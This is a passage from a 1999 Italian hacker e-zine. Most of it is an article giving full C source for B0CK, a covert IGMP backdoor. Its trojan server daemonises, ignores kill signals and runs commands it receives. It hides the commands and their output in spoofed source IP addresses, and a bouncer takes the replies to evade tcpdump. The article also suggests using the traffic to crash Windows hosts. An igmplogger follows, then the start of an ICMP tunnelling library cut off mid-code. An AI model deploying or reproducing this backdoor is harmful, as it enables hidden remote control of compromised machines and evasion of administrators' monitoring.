(16 bit...) mi sembra proprio impossibile occultare dei dati li' dentro... se non fosse perche' c'e' un altro header nel pacchetto che mandiamo... li', sopra l'header igmp, c'e' l'header IP. E allora perche' non possiamo mettere i dati NELL'IP, nell'ip da noi spoofato? (no, no! fermi! non sono pazzo :) Il field ip.saddr e' di 32 bit e contiene l'ip sorgente del pacchetto... Se noi dobbiamo spoofarci, che cazzo ce ne frega dell'ip che mettiamo dentro? (si', e' possibile che un firewall consenta l'arrivo di pacchetti solo da un certo ip... ma c'e' una soluzione anche per questo :) cosi' l'ip che noi mandiamo conterra' il dato da noi inviato. Del resto se ogni carattere ha un equivalente ASCII da 8 bit ed il pacchetto ha un ip con un indirizzo mittente diviso in 4 campi da 8 bit, va' a finire che con un pacchetto ogni 4 byte, riuscitamo a inviare tutti i nostri dati (e non abbiate paura del flood... in tutto sono 24 byte a pacchetto). Quindi se noi mandiamo al server remoto il comando "ls -la", con un igmplogger leggeremo in ricezione: Sep 23 14:18:27 TruZz0 -algad-: from 108.115.32.45 IGMP type 0 code 0 Sep 23 14:18:27 TruZz0 -algad-: from 108.97.0.0 IGMP type 0 code 0 [ 14:18:27... porka troia mi sono perso i simspon >:\\ ] Con: 108.115.32.45 108.97.0.0 l s " " - l a <0 = invio> Questa e' la struttura generale della trasmissione, ma il problema delle risposte c'e' ancora... Se io non mando i pacchetti con il mio ip come faccio a leggere le mie risposte? Semplicemente con un comando particolare, interno alla backdoor che non verra' eseguito sul server, e che serve ad indicare a che ip bisogna mandare le risposte :) . E' possibile gia' con un #define compilare il programma con l'ip a cui deve mandare le risposte di default. Nel caso volessimo lavorare con un altro ip o mandare le risposte altrove, si utilizzera' il comando SETREP=ip_a_cui_mandare_le_risposte Ma attenzione, sia "SETREP=" che "BOUNCE=" (comando analogo che spieghero' in seguito) vogliono l'ip numerico, non il nome del nostro host o dynamic host. Solo quei 4 numerini con 3 puntini in mezzo :) [3] * P O S S I B I L I M I G L I O R I E E' possibile che si voglia aumentare l'efficenza della trasmissione, ad esempio utilizzando altri campi dell'IP (questo in fin dei conti e' IP tunnelling con utilizzo dell'IGMP come protocollo di trasporto) o comprimendo i dati prima di inviarli. Se poi ci troviamo un firewall che consenta l'accesso di OGNI pacchetto purche' abbia un detrminato ip (cosa remota, ma possibile: normalmente queste restrizioni sono applicate solo alle connessioni TCP) allora sara' necessario spoofare quell'ip e utilizzare un altro campo per la trasmissione. Se diamo un'occhiata al datagramma IP e alla sua struttura (RFC 791 e /usr/include/netinet/ip.h) potremo scovare altri campi atti a contenere dati. < non riporto il datagramma perche' e' gia' spiegato da altre parti :) > struct ip { __u8 ip_v:4, ip_hl:4; __u8 ip_tos; __u16 ip_len; __u16 ip_id; __u16 ip_off; __u8 ip_ttl; __u8 ip_p; __u16 ip_sum; struct in_addr ip_src,ip_dst; }; Quanti! :D Allora: ip_v,ip_h : Lasciamoli stare... 8 bit e' poco x rischiare che un router ci seghi i pacchetti non riconoscendo la versione dell'ip e una ihl (internet header lenght, di default 5) diversa dal solito. ip_len e ip_sum : Se mettiamo dei valori arbitrari viene segato al volo :) ip_ttl e ip_p : TTL e tipo di protocollo, inutilizzabili perche' utili cosi'. ip_id e ip_off : 16 bit ognuno... mmhh... :) questi campi servono per riassemblare in modo ordinato i pacchetti che contengono il dato... e perche' non usarli? Avete paura che i pacchetti arrivino in ordine sparso? C'e' il rischio... vi posso assicurare che ho fatto test, senza mai avere packet lost o dati disordinati, lavorando in remoto sul pc di un amico (e non del mio stesso ISP :) senza aver mai cagato questi due campi. Ok, nel caso il saddr non sia utilizzabile ci sono anche i campi sostitutivi (nessuno vieta di usare anche questo per migliorare la trasmissione, in modo da avere 8 byte a pacchetto e dimezzare il numero di pacchetti). [4] * C O D I C I & C O M M E N T I B0CKc.c ---------- snip ---------- /* * Vecna - Agosto/Settembre 1999 - B0CK - versione unica * * * * * * * * +[1]+ # L'unico scopo x cui l'autore ha codato questo programma e' DIVERTIRSI # e fare ESPERIENZA. Fatelo anche voi. Si sconsiglia l'utilizzo di B0CK # per fini illeciti, ma questo codice e' free come le vostre scelte... # (ma lasciate pulita la vostra fedina penale :) # Commenti, consigli, idee ed implementazioni... -> vecna@mail.com +[2]+ Tnx To: NaiL^d0d -+-+-+-+-+-+-> seeeeeeeeeempre utile :) FuSyS -+-+-+-+-+-+-> per i lavori svolti Crush^KiC -+-+-+-+-+-+-> fiken! :D L0rD`n0p1 -+-+-+-+-+-+-> per le notti a casa tua :) * * * Vecna - Agosto/Settembre 1999 - B0CK * * * * * * * * * * * * * * */ #define SIZEREPBUFF 12000 /* grandezza massima per le risposte */ #define LOCAL /* local usage mode on :) */ #include #include #include #include #include #include #include #include #include /* nel caso dovreste avere dei problemi nella compilazione, a causa di incompatibilita' tra librerie, provate a sostituite netinet/ip.h e netinet/igmp.h con linux/ip.h e linux/igmp.h ... sul mio picci' c'e' troppo casino tra le librerie per mettere dei define decenti :) */ void end(int); void data2ip(unsigned int dest_addr); void wait_igmp(void); char ch[80]; int luce=1; unsigned int host2ip(char *hostname) { static struct in_addr i; struct hostent *h; if(i.s_addr =(inet_addr(hostname))== -1) { h = (gethostbyname(hostname)); if(!h) end(3); bcopy(h->h_addr, (char *)&i.s_addr, h->h_length); } return i.s_addr; } unsigned short in_cksum(unsigned short *buh, int len) { long sum = 0; unsigned short oddbyte; unsigned short answer; while(len > 1) { sum += *buh++; len -= 2; } if(len == 1) { oddbyte = 0; *((unsigned char *)&oddbyte) = *(unsigned char *)buh; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xFFFF); sum += (sum >> 16); answer = ~sum; return answer; } /* routine per dns e checksum, gia' viste N volte con N->infinito :) */ void main(int argc, char **argv) { unsigned int victim_addr; int ls; if((getuid()!=0)&&(geteuid()!=0)) end(5); if(argc!=2) end(4); if(!strcmp(argv[1],"-h")) end(6); victim_addr=host2ip(argv[1]); while(1) { memset(ch,0,80); printf("\n[-B0CK-@%s]# ",argv[1]); gets(ch); if(!strlen(ch)) continue; data2ip(victim_addr); } } /* si inizia! come primo argv si passa l'indirizzo della vittima, dove verranno recapitati i pacchetti IGMP, se si una -h si ha un veloce help sulle funzioni. Da notare che dovete eseguirlo (ma dai :) da root */ void data2ip(unsigned int dest_addr) { int i,ls=0; unsigned int data_addr; char *iptmp=malloc(1024); ls = strlen(ch); for(i=0;i<=ls;i+=4) { if(ch[i]==0) ch[i]=32; sprintf(iptmp,"%d.%d.%d.%d",ch[i],ch[i+1],ch[i+2],ch[i+3]); data_addr=inet_addr(iptmp); send_igmp(dest_addr,data_addr); } if(!strcmp(ch,"BYE")) end(0); if(!strncmp(ch,"BOUNCE=",7)) luce=0; if(!strncmp(ch,"LUCE",4)) luce=1; if(luce) wait_igmp(); } /* data2ip e' la funzione che converte i dati da spedire in campi dell'ip, e' possibile utilzzare un modo meno grezzo di sprintf, ma e' sicuramente piu' leggibile. da notare una cosa: se mando un comando da 3 byte, verrano messi i 3 campi e poi uno zero a indicare la fine della trasmissione. se mando un comando da 4 byte (o un numero multiplo di 4), verranno inviati 2 pacchetti, uno con il comando, l'altro sara' 32.0.0.0 (32 e' il simbolo ascii dello spazio) x ovvie ragioni non mando pacchetti con ip 0.0.0.0 :) da notare che quando si fa' uso del bouncer (comando BOUNCE=xx.xx.xx.xx) la shell diventa cieca (le risposte arrivano al bouncer), ma si po' usare questa opzione anche nel caso non si voglia visualizzare l'output di nostri comandi, e mandare i pacchetti altrove. */ void send_igmp(unsigned int dest_addr,unsigned int src_addr) { struct iphdr { unsigned char ihl:4, version:4, tos; unsigned short tot_len, id, frag_off; unsigned char ttl, protocol; unsigned short check; unsigned int saddr, daddr; }; struct iphdr *ip; struct igmphdr { unsigned char type, code; unsigned short cksum; struct in_addr group; }; struct igmphdr *igmp; struct sockaddr_in dst; long daddr, saddr; int s, i=0, c,len; char buf[150]; memset(buf, 0, 150); ip = (struct iphdr *)&buf; igmp = (struct igmphdr *)&buf[sizeof(struct iphdr)]; dst.sin_addr.s_addr = dest_addr; dst.sin_family = AF_INET; igmp->type = 0; igmp->code = 0; ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->tot_len = htons(10933); ip->id = htons(48648); ip->ttl = 64; ip->protocol = IPPROTO_IGMP; ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); ip->saddr = src_addr; ip->daddr = dest_addr; s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s == -1) end(1); len = 220; ip->frag_off = 0; if (sendto(s,&buf,len,0,(struct sockaddr *)&dst,sizeof (struct sockaddr_in)) == -1) end(2); close(s); } /* questa e' piu' o meno la funzione del KoD tratta dal dos omonimo: il pacchetto IGMP viene forgiato con type e code = 0. (che poi sono gli stessi parametri delle nuke) sarebbe stato vantaggioso per la backdoor utilizzare una varieta' maggiore di type e code, in modo da trasmettere anche in quei campi delle informazioni, ma ho notato che gli unici pacchetti che arrivano sempre a destinazione sono quelli con type e code = 0. nel caso vogliate nukkare qualcuno, basta ridirigergli l'output contro :) (windoze down NOW!) eh gia'... ma... cosa succede se l'host troianizzato sia in una lan interna, che come gw o firewall abbia una macchina NT? la macchina NT dovrebbe supportare il protocollo e non subire gli effetti (quindi far funzionare la nostra bd, sono i SO Win9x vulnerabili al KoD). Nel caso non supporti il protocollo, o siate davanti a uno dei pochi firewall che filtra gli igmp, l'unico consiglio e' quello di cambiare protocollo (a vostra scelta) rimanendo cmq l'ip tunnelling l'idea principale sul quale si basa la backdoor. In ogni caso, se voi stessi volete evitare grane dovute a DoS o altro che sfruttano questo protocollo, tra le Rules di ipchains (speranzoso che tutti voi carichiate l'amato fw :) mettete: #----------------------------------------------------------------- IGMP echo -n "IGMP Rules.." $IPCHAINS -A input -p igmp -s $REMOTENET -d $LOCALNET -l -j DENY #------------------------------------------------------------- E0F IGMP (quindi un po' di flessibilita' nel protocollo e' dovuta :) ho scelto l'igmp, in quanto e' il meno cagato). */ void wait_igmp(void) { int sock_waiting,i,c,fatto; char rep[SIZEREPBUFF]; struct ippkt { struct iphdr ip; struct igmphdr igmp; char buffer[500]; } pkt; sock_waiting=socket(AF_INET, SOCK_RAW, 2); memset(rep,0,SIZEREPBUFF); i=0; while(1) { read(sock_waiting, (struct ippkt *)&pkt, 499); #ifdef LOCAL if((pkt.igmp.type==1)||(pkt.igmp.code==1)) { #endif if((c=((pkt.ip.saddr)<<24)>>24)==0) { printf("%s",rep); memset(rep,0,SIZEREPBUFF); break; } else rep[i]=c; if((c=((pkt.ip.saddr)<<16)>>24)==0) { printf("%s",rep); memset(rep,0,SIZEREPBUFF); break; } else rep[i+1]=c; if((c=((pkt.ip.saddr)<<8)>>24)==0) { printf("%s",rep); memset(rep,0,SIZEREPBUFF); break; } else rep[i+2]=c; if((c=(pkt.ip.saddr)>>24)==0) { printf("%s",rep); memset(rep,0,SIZEREPBUFF); break; } else rep[i+3]=c; i+=4; #ifdef LOCAL } else continue; #endif } } /* 4 cose su questa funzione, la PRIMA e' che potrebbe essere ottimizzata :), ma non ci sono riuscito :\ la SECONDA e' che e' qui che si decide il tipo di pacchetti da aspettare... il tipo di protocollo viene settato nella funzione sock_waiting=socket(AF_INET, SOCK_RAW, 2); secondo i parametri definiti in /etc/protocols (2 IGMP, 6 TCP, 1 ICMP ecc...) e' possibile implementare la backdoor sfruttando TCP, UDP o ICMP. (solo che sono piu' soggetti a logging e filtraggi). inoltre, la funzione read() causa la magica apparizione di : raw 0 0 *:2 *:* dopo "netstat -a". e' difficile accorgersene (e' + difficile che accorgersi del processo in bg "./B0CKs" :) ma e' chiaro che qualcosa sta' aspettando dei pacchetti di tipo 2 e non e' una cosa frequente. la TERZA riguarda il #define LOCAL all'inizio del codice. per poter testare questo programma in locale, ho dovuto diversificare i pacchetti spediti da quelli in ricezione, siccome non avevo restrizioni dovute alla rete, ho impostato i pacchetti in uscita con type e code = 0 e quelli in ricezione = 1. questo e' stato necessario, altrimenti il mio dato inviato sarebbe stato letto sia dalla read() del server che l'avrebbe eseguito come comando, sia dalla read() del client che aspetta le risposte. e' necessario commentare #define LOCAL se lo si vuole usare in rete. la QUARTA riguarda il modo in cui leggo i dati dal pacchetto : if((c=((pkt.ip.saddr)<<8)>>24)==0) { dipende esclusivamente dal Byte Order, dall'ip umano "127.0.0.1" con la funzione inet_addr("127.0.0.1") convertiamo l'ip in un numero a 32 bit. seguendo quegli shifting riusciamo a riottenere i dati. (rfc791) */ void end(int err_num) { switch (err_num) { case 0: fprintf(stdout,"\nBye Fradel!\n"); break; case 1: perror("socket()"); break; case 2: perror("sendto()"); break; case 3: fprintf(stderr,"unresolve hostname destination !\n"); break; case 4: fprintf(stderr,"option: program victim \n"); break; case 5: fprintf(stderr,"B0CK client required r00t rulez permission\n"); break; case 6: fprintf(stderr,"\n#LUCE = setta visione mode of \n#BOUNCE=xxx.xx.xx.xxx visione off e ip di rep xxx.xx.xx.xxx \n#SETREP=yy.yy.yy.yy risposta ma con visione dipendente da LUCE \n#BYE chiudi tutto.\n"); break; } exit(0); } /* messaggi di errore, help, uscita */ ---------- snip ---------- B0CKs.c ---------- snip ---------- #define SIZEBUFF 12000 /* max size risposta inviata */ #define LOCAL #define DEFAULT_IP_REPLY "127.0.0.1" #define MOTHER_DIR "/tmp" #define ERROR_FILENAME "filerr" #include #include #include #include #include #include #include void new_bg(void); void exe(void); void data2ip(unsigned int); void end(int err_num); void wait_igmp(void); char dc(char); unsigned short in_cksum(unsigned short *, int); char cmd[50],ch[SIZEBUFF]; int main(void) { if(geteuid()!=0) end(3); new_bg(); freopen(ERROR_FILENAME,"w",stderr); memset(ch,0,SIZEBUFF); wait_igmp(); exit(0); } /* Per ora vi dico che freopen("filerr","w",stderr) serve per redirigere il flusso stderr nel file /tmp/filerr. era meglio unificare stdout e stderr in stdout... ma ne' con dup(), ne' con dup2() ne' con freopen ci sono riuscito :\\ e che vi devo dire... programmo solo da 5 mesi :\ (vale a dire flame/spam -> /dev/null :) */ void wait_igmp(void) { int i=0,s,fatto; unsigned int c=0; struct ippkt { struct iphdr ip; struct igmphdr igmp; char buffer[500]; } pkt; s=socket(AF_INET, SOCK_RAW, 2); while(1) { fatto=0; i=0; while(1) { read(s, (struct ippkt *)&pkt, 499); #ifdef LOCAL if((pkt.igmp.type==0)||(pkt.igmp.code==0)) { #endif if((c=((pkt.ip.saddr)<<24)>>24)==0) { fatto++; exe(); } else cmd[i]=c; if(fatto) break; if((c=((pkt.ip.saddr)<<16)>>24)==0) { fatto++; exe(); } else cmd[i+1]=c; if(fatto) break; if((c=((pkt.ip.saddr)<<8)>>24)==0) { fatto++; exe(); } else cmd[i+2]=c; if(fatto) break; if((c=(pkt.ip.saddr)>>24)==0) { fatto++; exe(); } else cmd[i+3]=c; if(fatto) break; i+=4; #ifdef LOCAL } else continue; #endif } } } /* anche qui stesso accorgimento su #define LOCAL. se vi chiedete il perche' dell'utilizzo di 2 cicli while(1) e' perche' dopo aver eseguito un comando devo anche tornare all'inizio del ciclo dopo averlo interrotto con break, solo che se sono in un ciclo solo esco dal programma :) */ void exe(void) { char c,ip[15]; unsigned int flood_addr=inet_addr(DEFAULT_IP_REPLY); int i=0; FILE *exek; if(!strncmp(cmd,"BYE",3)) exit(0); if((!strncmp(cmd,"SETREP=",7))||(!strncmp(cmd,"BOUNCE=",7))) { for(i=0;(i!=(strlen(cmd)-7));i++) ip[i]=cmd[7+i]; if((flood_addr=inet_addr(ip))==-1) flood_addr=inet_addr(DEFAULT_IP_REPLY); memset(ip,0,15); } else { if(!(exek=popen(cmd,"r"))) end(5); while((ch[i]=fgetc(exek))!=EOF) i++; pclose(exek); } if(!i) { strcpy(ch,"- comando eseguito - nessun output ricevuto -\n "); i=strlen(ch); } if (i!=((i/4)*4)) ch[i-1]=32; else ch[i-1]=0; ch[i]=0; data2ip(flood_addr); memset(cmd,0,50); } /* ecco la funzione che mi ha fatto perdere almeno una settimana :) bhe, arriva il comando, immediatamente viene confrontato con le stringhe di controllo (BOUNCE, SETREP o BYE), per evitare di eseguire comandi diretti al programma. se il comando eseguito con popen() non genera output (o si tratta di un comando che non ha previsto output, o e' messaggio di errore) manda a flood_addr (l'indirizzo a cui vengono inviate le risposte) una stringa arbitraria. poi, sta all'utente cattarsi filerr o continuare a lavorare. if (i!=((i/4)*4)) ch[i-1]=32; i!=i/4*4 -> i!=i ? NO! questa operazione serve per capire se i e' divisibile per 4. in questo caso alla risposta gli attacco 32 per non generare in risposta pacchetti con quattro zeri che non arriverebbero, lasciando il mio client ad aspettare il segnale di fine tramissione che e' gia' stato inviato (un timeout mi sembra superfluo). */ void send_igmp(unsigned int flood_addr,char *iptmp) { struct iphdr { unsigned char ihl:4, version:4, tos; unsigned short tot_len, id, frag_off; unsigned char ttl, protocol; unsigned short check; unsigned int saddr, daddr; }; struct iphdr *ip; struct igmphdr { unsigned char type, code; unsigned short cksum; struct in_addr group; }; struct igmphdr *igmp; struct sockaddr_in dst; long daddr, saddr; int s, i=0, c,len; char buf[150]; memset(buf, 0, sizeof(buf)); ip = (struct iphdr *)&buf; igmp = (struct igmphdr *)&buf[sizeof(struct iphdr)]; dst.sin_addr.s_addr = flood_addr; dst.sin_family = AF_INET; #ifdef LOCAL igmp->type = 1; igmp->code = 1; #else igmp->type = 0; igmp->code = 0; #endif ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->tot_len = htons(10933); ip->id = htons(48648); ip->ttl = 64; ip->protocol = IPPROTO_IGMP; ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); ip->saddr = inet_addr(iptmp); ip->daddr = flood_addr; if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1) end(1); len = 220; ip->frag_off = 0; if (sendto(s,&buf,len,0,(struct sockaddr *)&dst,sizeof (struct sockaddr_in)) == -1) end(2); close(s); } /* solita routine per mandare i pacchetti... con la differenza che se viene usato in locale vengono inviati pacchetti con type e code = 1 che NON VANNO IN RETE */ void data2ip(unsigned int flood_addr) { int i,ls; char *iptmp=malloc(1024); ls=strlen(ch); while(ls!=((ls/4)*4)) ls++; for(i=0;i!=ls;i+=4) { sprintf(iptmp,"%d.%d.%d.%d",ch[i],ch[i+1],ch[i+2],ch[i+3]); send_igmp(flood_addr,iptmp); } memset(ch,0,SIZEBUFF); } /* gia' vista */ void new_bg(void) { int piddo; signal(SIGHUP, SIG_IGN); signal(SIGINT, SIG_IGN); signal(SIGTERM, SIG_IGN); signal(SIGQUIT, SIG_IGN); signal(SIGALRM, SIG_IGN); piddo=fork(); if(piddo < 0) end(4); if(piddo > 0) exit(0); chdir(MOTHER_DIR); } /* i segnali di term e close vengono ignorati :) per mandare in BG gli faccio fare un figlio e gli uccido il padre. Ma poi il figlio va in un orfanotrofio? :D */ unsigned short in_cksum(unsigned short *buh, int len) { long sum = 0; unsigned short oddbyte; unsigned short answer; while(len > 1) { sum += *buh++; len -= 2; } if(len == 1) { oddbyte = 0; *((unsigned char *)&oddbyte) = *(unsigned char *)buh; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xFFFF); sum += (sum >> 16); answer = ~sum; return answer; } /* scommetto che l'avete gia' vista :) */ void end(int err_num) { switch (err_num) { case 0: fprintf(stdout,"\nBye Fradel!\n"); break; case 1: perror("socket()"); break; case 2: perror("sendto()"); break; case 3: fprintf(stderr,"B0CK server required r00t rulez permission\n"); break; case 4: perror("fork()"); break; case 5: perror("popen()"); break; } exit(0); } /* non sono troppo convinto dell'utilita' di questi messaggi di errore... non e' bello che l'admin sappia che popen() o sendto() in un troiano non vada :) a vostra discrezione la sua liberta' di informazione! */ ---------- snip ---------- B0CKb.c ---------- snip ---------- #define SIZEREPBUFF 12000 #define LOCAL #include #include #include #include #include #include #include #include #include #include void end(int); void wait_igmp(int); void chk_signals(void); void chiusura(int); int log; void main(int argc, char **argv) { int oz,o=0; chk_signals(); if(geteuid()!=0) end(3); if(argc<2) end(0); while ((oz = getopt(argc, argv, "o:f:a")) != -1) switch (oz) { case 'a': if ((log = open(optarg, O_WRONLY|O_CREAT)) == -1) end(4); case 'o': o=1; break; case 'f': if ((log = open(optarg, O_WRONLY|O_CREAT)) == -1) end(4); break; default : end(0); } while(1) { if(o) printf("\n[-B0CK-Bouncer]"); if(log) write(log,"[-B0CK-Bouncer]",15); wait_igmp(o); } } /* e che cazzo e' il B0CK Bouncer? per tutti i paranoici, che temono che sul piu' bello un root avvii tcpdump e legga: 15:36:16.838632 46.47.99.108 > 151.66.254.155: igmp-0 [v0][|igmp] 15:36:16.840379 32.108.111.99 > 151.66.254.155: igmp-0 [v0][|igmp] notando che questo 151.66.254.155 (io o l'usufruitore di turno) continua a ricevere tanti pacchettini IGMP con un ip diverso che partono dalla sua macchina :) il bouncer serve per ascoltare e eventualmente loggare tutte le risposte che gli mandate. settate dal client il suo funzionamento con BOUNCE=yy.yy.yyy.yy, da quel momento la vostra shell diventera' cieca, ma le risposte arriveranno sul bouncer. +-+-+-+-+ +-+-+-+-+ +-+-+-+-+ wow, e adesso chi ci becca + | IO |--->|Server |--->|Bouncer| [ anche sul bouncer ] +-+-+-+-+ ^ +-+-+-+-+ ^ +-+-+-+-+ [ dovete essere root ] | | spoof spoof comandi risposte */ void wait_igmp(int o) { int sock_waiting,c; int i=0; char rep[SIZEREPBUFF]; struct ippkt { struct iphdr ip; struct igmphdr igmp; char buffer[500]; } pkt; sock_waiting=socket(AF_INET, SOCK_RAW, 2); memset(rep,0,SIZEREPBUFF); while(1) { read(sock_waiting, (struct ippkt *)&pkt, 499); #ifdef LOCAL if((pkt.igmp.type==1)||(pkt.igmp.code==1)) { #endif if((c=(pkt.ip.saddr<<24)>>24)==0) { if(o) printf("\n%s",rep); if(log) write(log,rep,sizeof(rep)); break; } else rep[i]=c; if((c=(pkt.ip.saddr<<16)>>24)==0) { if(o) printf("\n%s",rep); if(log) write(log,rep,sizeof(rep)); break; } else rep[i+1]=c; if((c=(pkt.ip.saddr<<8)>>24)==0) { if(o) printf("\n%s",rep); if(log) write(log,rep,sizeof(rep)); break; } else rep[i+2]=c; if((c=pkt.ip.saddr>>24)==0) { if(o) printf("\n%s",rep); if(log) write(log,rep,sizeof(rep)); break; } else rep[i+3]=c; i+=4; #ifdef LOCAL } else continue; #endif } } /* analogamente alla routine del server, solo che qui, quando ha letto tutto, o lo printa su un file, o su stdout, o entrambe. */ void chk_signals(void) { signal(SIGTERM,chiusura); signal(SIGALRM,chiusura); signal(SIGKILL,chiusura); signal(SIGSTOP,chiusura); } void chiusura(int s) { char exit_string[23]; fprintf(stderr,"close at signal %d",s); if(log) { sprintf(exit_string,"close at signal %d",s); write(log,exit_string,sizeof(exit_string)); } close(log); exit(0); } /* siccome potete interrompere con ^C il programma, (o con kill o in altri modi) in questo modo si fa' in tempo a fare l'fclose e a lasciare il contenuto nel file (file per altro con permessi 000 :) void end(int err_num) { switch (err_num) { case 0: fprintf(stderr," options:\n -o [stdout output]\n -f [log reply in file]\n -a file [stdout & file log]\n"); break; case 1: perror("socket()"); break; case 2: perror("sendto()"); break; case 3: fprintf(stderr,"B0CK Bouncer required r00t rulez permission\n"); break; case 4: perror("open()"); break; } exit(0); } ---------- snip ---------- [5] * L O G G H I A M O ? Eh che brutta parola eh :) Comunque si da' il caso che e' possibile loggare l'igmp, NESSUNO LO FA', ok, o QUASI nessuno... cmq se volete vedere "dietro le quinte" cosa succede o cosa passa, vi sara' comodo un igmplogger. Io l'ho fatto prima ancora di iniziare il test (usare tcpdump non e' proprio bello :) e non l'avrei nemmeno allegato se non fosse che ntf me l'ha consigliato :) Il codice e' molto semplice ed e' tratto dall'icmplog (codato a sua volta a partire dal tcplogd di phroid); le variazioni che lo differenziano da questo sono il tipo di protocollo specificato nella funzione read(), la struttura ed i campi che vengono messi in evidenza nel logging. igmplog.c ---------- snip ---------- /* Igmplog version 1 by Vecna */ /* coded 15.8.1999 */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include char *hostlookup(unsigned long int); void new_bg(void); void init_sign(void); void killing(int); struct ippkt { struct iphdr ip; struct igmphdr igmp; char buffer[1024]; }pkt; void new_bg(void) { int ffork; ffork=fork(); if(ffork < 0) { perror("fork"); exit(1); } if(ffork > 0) exit(0); } void init_sign(void) { signal(SIGINT, SIG_IGN); signal(SIGTERM, killing); signal(SIGKILL, killing); signal(SIGQUIT, killing); signal(SIGALRM, SIG_IGN); } void killing(int s) { syslog(LOG_NOTICE,"[%d] closed by signal[%d]",getpid(),s); exit(0); } int main(void) { int s; if(geteuid() != 0) { printf("\nigmplogd required uid/euid = 0\n"); exit(0); } new_bg(); init_sign(); s=socket(AF_INET, SOCK_RAW, 2); openlog("IGMPL0G", 0, LOG_DAEMON); syslog(LOG_NOTICE, "IGMPLOG start [%d]", getpid()); while(1) { read(s, (struct ippkt *)&pkt, 1023); syslog(LOG_NOTICE,"from %s IGMP type %d code %d", hostlookup(pkt.ip.saddr),pkt.igmp.type,pkt.igmp.code); } } char *hostlookup(unsigned long int in) { static char blah[1024]; struct in_addr i; struct hostent *he; i.s_addr=in; he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET); if(he == NULL) strcpy(blah, inet_ntoa(i)); else strcpy(blah, he->h_name); return blah; } ---------- snip ---------- Sebbene abbia una particolare repulsione, nell'ultimo periodo, agli igmplogger, allego questo codice sperando che nessun sysadmin pensi di metterlo sul suo serverino :) [6] * C O N C L U S I O N E Ora come ora questo programma funziona e mantiene le aspettative. Puo', come ogni cosa, essere migliorata, ad esempio crittanto i dati o utilizzando un numero superiore di protocolli di trasporto (un numero di protocollo maggiore comporta anche piu' read() attive ed un certo sincronismo tra client-server o segnali di riconoscimento nei paccheti, che indichi al sever/client di che tipo sara' il prossimo pacchetto. Questa pero' non si chiama paranoia, la paranoia si ferma un po' prima della pazzia :) Ringrazio tutti quelli che hanno letto fino a qui, sperando che l'etto di prosciutto crudo non vi sia venuto su durante la lettura :D Bye [ minkia 31k di documento ] Vecna vecna@ircnet - vecna@mail.com ============================================================================== --------------------------------[ EOF 12/22 ]--------------------------------- ============================================================================== BFi-7/BFi07-13100777 1750 144 17251 7031215207 11765 0ustar smasterusers============================================================================== ------------[ BFi numero 7, anno 2 - 25/12/1999 - file 13 di 22 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ UNDERC0VER W0RK - Dashie Tempo Impiegato: tante ore a leggere la documentazione MicroSux e 10 minuti a scrivere il codice... Cibo Ingerito: mezzo litro di Gatorade skifosa all'arancia rossa tonnellate di gelato 1,5 litri di coca allungata con la fanta.... Dio che caldo!!! Dedicato a: Miky, la ragazza che mi ha sconvolto la vita Benares, il suo attuale ragazzo nonche' mio prezioso amico \sPIRIT\, perche' le sue vaccate estive mi fan sempre squartare pIGpEN, perche' altrimenti mi dimenticherei dell'esistenza dello unix FuSyS, per avermi fatto venir voglia di leggere TUTTO il TCP/IP Illustrated Microsoft, Dio Bit perdonali perche' non sanno quello che fanno... Eccomi qui! L'Oscuro Distruttore, l'Adamo dell'oscurita', il salvatore degli Inferi e' tornato! Eheh... Dopo mesi di girovagare nei piu' profondi recessi dell'Abisso sono magicamente riapparso portando con me qualcosa di carino... Un interessante spunto per tutti quelli che avranno letto l'articolo di FuSyS sull'ICMP tunnelling... In poche parole questa e' una libreria, esattamente come quella proposta da FuSyS, che fornisce funzioni per l'incapsulamento di dati nei pacchetti ICMP. L'unica differenza e' che la suddetta libreria e' stata riadattata per essere compilata anche sotto winsozzz. Il libero arbitrio vi consente di farne cio' che volete, e siccome di spunti ve ne ha dati gia' FuSyS a sufficienza, direi che e' il caso vi guardiate il codice e proviate a scriverci qualcosa... icmp_tunnel.h ---------- snip ---------- /* Covert Tunnelling in ICMP 0x00 ECHO REPLY messages Many thanks to FuSyS and Richard Stevens ^_^ Dark Schneider X1999 */ #include #include #include #define ICMP_ECHOREPLY 0 #define ICMP_ECHO 8 // definizione di alcune costanti #define IP_HDR 20 #define ICMP_HDR 8 #define ICMP_MINLEN 8 #define MAXMESG 4096 #define MAXPACKET 5004 #define LAST 1 #define REPLY 1 #define ECHO_TAG 0xF001 #define ECHO_LAST 0xF002 // Strutture e Variabili // Lancio un doveroso Porko D*io liberatorio... dopo ore ho trovato come fare // a togliermi dalle palle la fottuta icmp.dll (winsock maledette) // IP Header struct ip { unsigned char Hlen:4; unsigned char Version:4; unsigned char Tos; unsigned short LungTot; unsigned short Id; unsigned short Flags; unsigned char Ttl; unsigned char Proto; unsigned short Checksum; unsigned int SourceIP; unsigned int DestIP; }; // ICMP Header struct icmp { BYTE Type; BYTE Code; USHORT CheckSum; USHORT Id; USHORT Seq; ULONG Dati; }; SOCKET sockfd; u_int icmp_init =1; struct sockaddr_in clisrc; // Funzione di checksum USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); } // Reimplemento bcopy e bzero... Ma perche' cavolo windows non le // rende disponibili? void bzero(char *pnt, int dim_pnt ) { memset((char *)&pnt, 0, dim_pnt); }; void bcopy(char *src, char *dest, int dim_src) { memmove((char *)&dest, (char *)&src, dim_src); }; // Micro$oft Sucks // Funzioni di gestione dei pacchetti ICMP // Fankulo a quegli stronzi maledetti che si sono inventati la icmp.dll // Brutti bastardi pezzi di merda, la compatibilita' ve la siete ficcata su // per il culo? // Micro$oft Sucks void ICMP_init(void) { if(icmp_init) { if((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == INVALID_SOCKET) { fprintf(stderr, "impossibile creare raw ICMP socket"); exit(0); } } icmp_init = 0; }; void ICMP_reset(void) { 